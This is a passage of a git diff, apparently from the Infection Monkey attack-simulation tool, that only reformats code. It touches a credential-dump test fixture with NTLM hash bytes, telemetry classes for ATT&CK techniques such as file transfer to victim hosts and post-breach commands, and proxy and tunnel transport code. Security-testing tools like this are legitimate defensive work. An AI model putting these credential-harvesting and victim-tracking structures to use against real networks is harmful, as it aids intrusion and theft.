"username":"Monkey", - "domainname":"ReAlDoMaIn", - "logon_server":"ReAlDoMaIn", - "logon_time":"2020-06-02T04:53:45.256562+00:00", - "sid":"S-1-6-25-260123139-3611579848-5589493929-3021", - "luid":123086, - "msv_creds":[ + "authentication_id": 555555, + "session_id": 3, + "username": "Monkey", + "domainname": "ReAlDoMaIn", + "logon_server": "ReAlDoMaIn", + "logon_time": "2020-06-02T04:53:45.256562+00:00", + "sid": "S-1-6-25-260123139-3611579848-5589493929-3021", + "luid": 123086, + "msv_creds": [ { - "username":"monkey", - "domainname":"ReAlDoMaIn", - "NThash":b"1\xb7 Dict: return { - "username":self.username, - "password":self.password, - "ntlm_hash":self.ntlm_hash, - "lm_hash":self.lm_hash, + "username": self.username, + "password": self.password, + "ntlm_hash": self.ntlm_hash, + "lm_hash": self.lm_hash, } diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py index 13913f349aa..71366a46698 100644 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -17,7 +17,7 @@ # monkey should run as *** SYSTEM *** !!! # WMI_LDAP_CLASSES = { - "ds_user":( + "ds_user": ( "DS_sAMAccountName", "DS_userPrincipalName", "DS_sAMAccountType", @@ -36,7 +36,7 @@ "DS_logonCount", "DS_accountExpires", ), - "ds_group":( + "ds_group": ( "DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", @@ -52,7 +52,7 @@ "DS_distinguishedName", "ADSIPath", ), - "ds_computer":( + "ds_computer": ( "DS_dNSHostName", "ADSIPath", "DS_accountExpires", diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index e1a7e467e0b..9576ff9f78b 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -38,14 +38,13 @@ def try_lock(self): assert self._mutex_handle is None, "Singleton already locked" handle = ctypes.windll.kernel32.CreateMutexA( - None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) + None, ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name.encode()) ) last_error = ctypes.windll.kernel32.GetLastError() if not handle: LOG.error( - "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, - last_error + "Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error ) return False if winerror.ERROR_ALREADY_EXISTS == last_error: @@ -81,10 +80,10 @@ def try_lock(self): sock.bind("\0" + self._unix_sock_name) except socket.error as e: LOG.error( - "Cannot acquire system singleton %r, error code %d, error: %s", - self._unix_sock_name, - e.args[0], - e.args[1], + "Cannot acquire system singleton %r, error code %d, error: %s", + self._unix_sock_name, + e.args[0], + e.args[1], ) return False diff --git a/monkey/infection_monkey/telemetry/attack/attack_telem.py b/monkey/infection_monkey/telemetry/attack/attack_telem.py index 87361c5f5d8..125906c742c 100644 --- a/monkey/infection_monkey/telemetry/attack/attack_telem.py +++ b/monkey/infection_monkey/telemetry/attack/attack_telem.py @@ -18,4 +18,4 @@ def __init__(self, technique, status): telem_category = TelemCategoryEnum.ATTACK def get_data(self): - return {"status":self.status.value, "technique":self.technique} + return {"status": self.status.value, "technique": self.technique} diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 3214dea6e1d..545bb47d3ef 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -15,5 +15,5 @@ def __init__(self, status, gathered_data_type, info=""): def get_data(self): data = super(T1005Telem, self).get_data() - data.update({"gathered_data_type":self.gathered_data_type, "info":self.info}) + data.update({"gathered_data_type": self.gathered_data_type, "info": self.info}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py index 8a1acbfdff1..de2333ca8f9 100644 --- a/monkey/infection_monkey/telemetry/attack/t1064_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -15,5 +15,5 @@ def __init__(self, status, usage): def get_data(self): data = super(T1064Telem, self).get_data() - data.update({"usage":self.usage}) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index d75a527d923..939e2b3e297 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -17,5 +17,5 @@ def __init__(self, status, src, dst, filename): def get_data(self): data = super(T1105Telem, self).get_data() - data.update({"filename":self.filename, "src":self.src, "dst":self.dst}) + data.update({"filename": self.filename, "src": self.src, "dst": self.dst}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index ced66a4c15c..816488f3b6f 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -13,5 +13,5 @@ def __init__(self, status, path): def get_data(self): data = super(T1107Telem, self).get_data() - data.update({"path":self.path}) + data.update({"path": self.path}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1197_telem.py b/monkey/infection_monkey/telemetry/attack/t1197_telem.py index 5e12fc71831..e9fb7fca6a1 100644 --- a/monkey/infection_monkey/telemetry/attack/t1197_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1197_telem.py @@ -18,5 +18,5 @@ def __init__(self, status, machine, usage): def get_data(self): data = super(T1197Telem, self).get_data() - data.update({"usage":self.usage}) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index 4f65d1401fc..30a0314ae90 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -14,5 +14,5 @@ def __init__(self, status, command, machine): def get_data(self): data = super(T1222Telem, self).get_data() - data.update({"command":self.command}) + data.update({"command": self.command}) return data diff --git a/monkey/infection_monkey/telemetry/attack/usage_telem.py b/monkey/infection_monkey/telemetry/attack/usage_telem.py index 1231215e5b5..3066fe3d30f 100644 --- a/monkey/infection_monkey/telemetry/attack/usage_telem.py +++ b/monkey/infection_monkey/telemetry/attack/usage_telem.py @@ -13,5 +13,5 @@ def __init__(self, technique, status, usage): def get_data(self): data = super(UsageTelem, self).get_data() - data.update({"usage":self.usage}) + data.update({"usage": self.usage}) return data diff --git a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py index 19c3740ff48..9dc812b142c 100644 --- a/monkey/infection_monkey/telemetry/attack/victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/attack/victim_host_telem.py @@ -13,9 +13,9 @@ def __init__(self, technique, status, machine): :param machine: VictimHost obj from model/host.py """ super(VictimHostTelem, self).__init__(technique, status) - self.machine = {"domain_name":machine.domain_name, "ip_addr":machine.ip_addr} + self.machine = {"domain_name": machine.domain_name, "ip_addr": machine.ip_addr} def get_data(self): data = super(VictimHostTelem, self).get_data() - data.update({"machine":self.machine}) + data.update({"machine": self.machine}) return data diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 9b2e6c2f6c6..4f39a2145f0 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -19,9 +19,9 @@ def __init__(self, exploiter, result): def get_data(self): return { - "result":self.result, - "machine":self.exploiter.host.__dict__, - "exploiter":self.exploiter.__class__.__name__, - "info":self.exploiter.exploit_info, - "attempts":self.exploiter.exploit_attempts, + "result": self.result, + "machine": self.exploiter.host.__dict__, + "exploiter": self.exploiter.__class__.__name__, + "info": self.exploiter.exploit_info, + "attempts": self.exploiter.exploit_attempts, } diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index f1e8f61010a..6dafa3c0cd7 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -22,11 +22,11 @@ def __init__(self, pba, result): def get_data(self): return { - "command":self.pba.command, - "result":self.result, - "name":self.pba.name, - "hostname":self.hostname, - "ip":self.ip, + "command": self.pba.command, + "result": self.result, + "name": self.pba.name, + "hostname": self.hostname, + "ip": self.ip, } @staticmethod diff --git a/monkey/infection_monkey/telemetry/scan_telem.py b/monkey/infection_monkey/telemetry/scan_telem.py index ea7ee872378..c606a2cc2de 100644 --- a/monkey/infection_monkey/telemetry/scan_telem.py +++ b/monkey/infection_monkey/telemetry/scan_telem.py @@ -16,4 +16,4 @@ def __init__(self, machine): telem_category = TelemCategoryEnum.SCAN def get_data(self): - return {"machine":self.machine.as_dict(), "service_count":len(self.machine.services)} + return {"machine": self.machine.as_dict(), "service_count": len(self.machine.services)} diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 7a31b833220..91b26f69d85 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -14,4 +14,4 @@ def __init__(self, provider: BaseProvider): telem_category = TelemCategoryEnum.SCOUTSUITE def get_data(self): - return {"data":self.provider_data} + return {"data": self.provider_data} diff --git a/monkey/infection_monkey/telemetry/state_telem.py b/monkey/infection_monkey/telemetry/state_telem.py index a5b8ad66a6b..06fc1794cfa 100644 --- a/monkey/infection_monkey/telemetry/state_telem.py +++ b/monkey/infection_monkey/telemetry/state_telem.py @@ -17,4 +17,4 @@ def __init__(self, is_done, version="Unknown"): telem_category = TelemCategoryEnum.STATE def get_data(self): - return {"done":self.is_done, "version":self.version} + return {"done": self.is_done, "version": self.version} diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py index 1025ae87115..02d591f3e30 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -16,7 +16,7 @@ def attack_telem_test_instance(): def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): attack_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":TECHNIQUE} + expected_data = {"status": STATUS.value, "technique": TECHNIQUE} expected_data = json.dumps(expected_data, cls=attack_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py index 9bcda631d50..7ad7e074c1c 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -18,10 +18,10 @@ def T1005_telem_test_instance(): def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): T1005_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":"T1005", - "gathered_data_type":GATHERED_DATA_TYPE, - "info":INFO, + "status": STATUS.value, + "technique": "T1005", + "gathered_data_type": GATHERED_DATA_TYPE, + "info": INFO, } expected_data = json.dumps(expected_data, cls=T1005_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py index 3e91417a48b..f927e7b91e3 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -16,7 +16,7 @@ def T1035_telem_test_instance(): def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): T1035_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":"T1035", "usage":USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1035", "usage": USAGE.name} expected_data = json.dumps(expected_data, cls=T1035_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py index afcae8fce63..1d242d4efdc 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -16,7 +16,7 @@ def T1064_telem_test_instance(): def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): T1064_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":"T1064", "usage":USAGE_STR} + expected_data = {"status": STATUS.value, "technique": "T1064", "usage": USAGE_STR} expected_data = json.dumps(expected_data, cls=T1064_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py index 52c512aa24d..690c4508c69 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -19,11 +19,11 @@ def T1105_telem_test_instance(): def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): T1105_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":"T1105", - "filename":FILENAME, - "src":SRC_IP, - "dst":DST_IP, + "status": STATUS.value, + "technique": "T1105", + "filename": FILENAME, + "src": SRC_IP, + "dst": DST_IP, } expected_data = json.dumps(expected_data, cls=T1105_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py index 31640666a56..2857bbc11ec 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -16,7 +16,7 @@ def T1106_telem_test_instance(): def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): T1106_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":"T1106", "usage":USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1106", "usage": USAGE.name} expected_data = json.dumps(expected_data, cls=T1106_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py index 2729ed65953..bb1bf2088d2 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -16,7 +16,7 @@ def T1107_telem_test_instance(): def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): T1107_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":"T1107", "path":PATH} + expected_data = {"status": STATUS.value, "technique": "T1107", "path": PATH} expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py index 0818ed195ec..41178a74977 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -16,7 +16,7 @@ def T1129_telem_test_instance(): def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): T1129_telem_test_instance.send() - expected_data = {"status":STATUS.value, "technique":"T1129", "usage":USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} expected_data = json.dumps(expected_data, cls=T1129_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index bdf3b9e7363..a7556e9524d 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -21,10 +21,10 @@ def T1197_telem_test_instance(): def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): T1197_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":"T1197", - "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, - "usage":USAGE_STR, + "status": STATUS.value, + "technique": "T1197", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "usage": USAGE_STR, } expected_data = json.dumps(expected_data, cls=T1197_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index 62724f9163e..1b78bef5bfc 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -21,10 +21,10 @@ def T1222_telem_test_instance(): def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): T1222_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":"T1222", - "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, - "command":COMMAND, + "status": STATUS.value, + "technique": "T1222", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "command": COMMAND, } expected_data = json.dumps(expected_data, cls=T1222_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py index 97e0dc8010a..511cc51b864 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -18,9 +18,9 @@ def usage_telem_test_instance(): def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): usage_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":TECHNIQUE, - "usage":USAGE.name, + "status": STATUS.value, + "technique": TECHNIQUE, + "usage": USAGE.name, } expected_data = json.dumps(expected_data, cls=usage_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 0344c64781b..a3853e78c18 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -21,9 +21,9 @@ def victim_host_telem_test_instance(): def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): victim_host_telem_test_instance.send() expected_data = { - "status":STATUS.value, - "technique":TECHNIQUE, - "machine":{"domain_name":DOMAIN_NAME, "ip_addr":IP}, + "status": STATUS.value, + "technique": TECHNIQUE, + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, } expected_data = json.dumps(expected_data, cls=victim_host_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index 373dece4a28..95f85392243 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -10,24 +10,24 @@ IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) HOST_AS_DICT = { - "ip_addr":IP, - "domain_name":DOMAIN_NAME, - "os":{}, - "services":{}, - "icmp":False, - "monkey_exe":None, - "default_tunnel":None, - "default_server":None, + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, } EXPLOITER = WmiExploiter(HOST) EXPLOITER_NAME = "WmiExploiter" EXPLOITER_INFO = { - "display_name":WmiExploiter._EXPLOITED_SERVICE, - "started":"", - "finished":"", - "vulnerable_urls":[], - "vulnerable_ports":[], - "executed_cmds":[], + "display_name": WmiExploiter._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], } EXPLOITER_ATTEMPTS = [] RESULT = False @@ -41,11 +41,11 @@ def exploit_telem_test_instance(): def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() expected_data = { - "result":RESULT, - "machine":HOST_AS_DICT, - "exploiter":EXPLOITER_NAME, - "info":EXPLOITER_INFO, - "attempts":EXPLOITER_ATTEMPTS, + "result": RESULT, + "machine": HOST_AS_DICT, + "exploiter": EXPLOITER_NAME, + "info": EXPLOITER_INFO, + "attempts": EXPLOITER_ATTEMPTS, } expected_data = json.dumps(expected_data, cls=exploit_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index 3a6d1b31dc0..d6ce4882517 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -20,18 +20,18 @@ def __init__(self): @pytest.fixture def post_breach_telem_test_instance(monkeypatch): PBA = StubSomePBA() - monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda:(HOSTNAME, IP)) + monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) return PostBreachTelem(PBA, RESULT) def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): post_breach_telem_test_instance.send() expected_data = { - "command":PBA_COMMAND, - "result":RESULT, - "name":PBA_NAME, - "hostname":HOSTNAME, - "ip":IP, + "command": PBA_COMMAND, + "result": RESULT, + "name": PBA_NAME, + "hostname": HOSTNAME, + "ip": IP, } expected_data = json.dumps(expected_data, cls=post_breach_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index ffb2dbf8b03..07c6fbf414e 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -9,14 +9,14 @@ IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) HOST_AS_DICT = { - "ip_addr":IP, - "domain_name":DOMAIN_NAME, - "os":{}, - "services":{}, - "icmp":False, - "monkey_exe":None, - "default_tunnel":None, - "default_server":None, + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, } HOST_SERVICES = {} @@ -28,7 +28,7 @@ def scan_telem_test_instance(): def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): scan_telem_test_instance.send() - expected_data = {"machine":HOST_AS_DICT, "service_count":len(HOST_SERVICES)} + expected_data = {"machine": HOST_AS_DICT, "service_count": len(HOST_SERVICES)} expected_data = json.dumps(expected_data, cls=scan_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py index fa67301e243..18776f987ef 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -15,7 +15,7 @@ def state_telem_test_instance(): def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): state_telem_test_instance.send() - expected_data = {"done":IS_DONE, "version":VERSION} + expected_data = {"done": IS_DONE, "version": VERSION} expected_data = json.dumps(expected_data, cls=state_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py index c1f91e16594..0c4027a05a6 100644 --- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -14,7 +14,7 @@ def trace_telem_test_instance(): def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): trace_telem_test_instance.send() - expected_data = {"msg":MSG} + expected_data = {"msg": MSG} expected_data = json.dumps(expected_data, cls=trace_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py index a13a929ce1a..eab763790bc 100644 --- a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py @@ -12,7 +12,7 @@ def tunnel_telem_test_instance(): def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): tunnel_telem_test_instance.send() - expected_data = {"proxy":None} + expected_data = {"proxy": None} expected_data = json.dumps(expected_data, cls=tunnel_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index db59f016922..8beec11814c 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -21,4 +21,4 @@ def __init__(self, msg): telem_category = TelemCategoryEnum.TRACE def get_data(self): - return {"msg":self.msg} + return {"msg": self.msg} diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index 45ef0b17691..05f057ee9bd 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -16,4 +16,4 @@ def __init__(self): telem_category = TelemCategoryEnum.TUNNEL def get_data(self): - return {"proxy":self.proxy} + return {"proxy": self.proxy} diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index d33acfc0a27..e2b3a69daaf 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -99,8 +99,8 @@ def send_head(self): self.send_header("Content-type", "application/octet-stream") self.send_header( - "Content-Range", - "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), + "Content-Range", + "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), ) self.send_header("Content-Length", min(end_range - start_range, size)) self.end_headers() @@ -108,8 +108,8 @@ def send_head(self): def log_message(self, format_string, *args): LOG.debug( - "FileServHTTPRequestHandler: %s - - [%s] %s" - % (self.address_string(), self.log_date_time_string(), format_string % args) + "FileServHTTPRequestHandler: %s - - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -127,11 +127,11 @@ def do_POST(self): try: dest_path = self.path r = requests.post( - url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT, + url=dest_path, + data=post_data, + verify=False, + proxies=infection_monkey.control.ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, ) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: @@ -160,8 +160,8 @@ def do_CONNECT(self): conn = socket.create_connection(address) except socket.error as e: LOG.debug( - "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" - % (repr(address), e) + "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" + % (repr(address), e) ) self.send_error(504) # 504 Gateway Timeout return @@ -187,8 +187,8 @@ def do_CONNECT(self): def log_message(self, format_string, *args): LOG.debug( - "HTTPConnectProxyHandler: %s - [%s] %s" - % (self.address_string(), self.log_date_time_string(), format_string % args) + "HTTPConnectProxyHandler: %s - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) ) @@ -213,10 +213,10 @@ class TempHandler(FileServHTTPRequestHandler): def report_download(dest=None): LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: @@ -270,10 +270,10 @@ class TempHandler(FileServHTTPRequestHandler): def report_download(dest=None): LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 6c79e5cd240..60a995edc86 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -71,11 +71,11 @@ def run(self): pipe = SocketsPipe(source, dest) pipes.append(pipe) LOG.debug( - "piping sockets %s:%s->%s:%s", - address[0], - address[1], - self.dest_host, - self.dest_port, + "piping sockets %s:%s->%s:%s", + address[0], + address[1], + self.dest_host, + self.dest_port, ) pipe.start() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 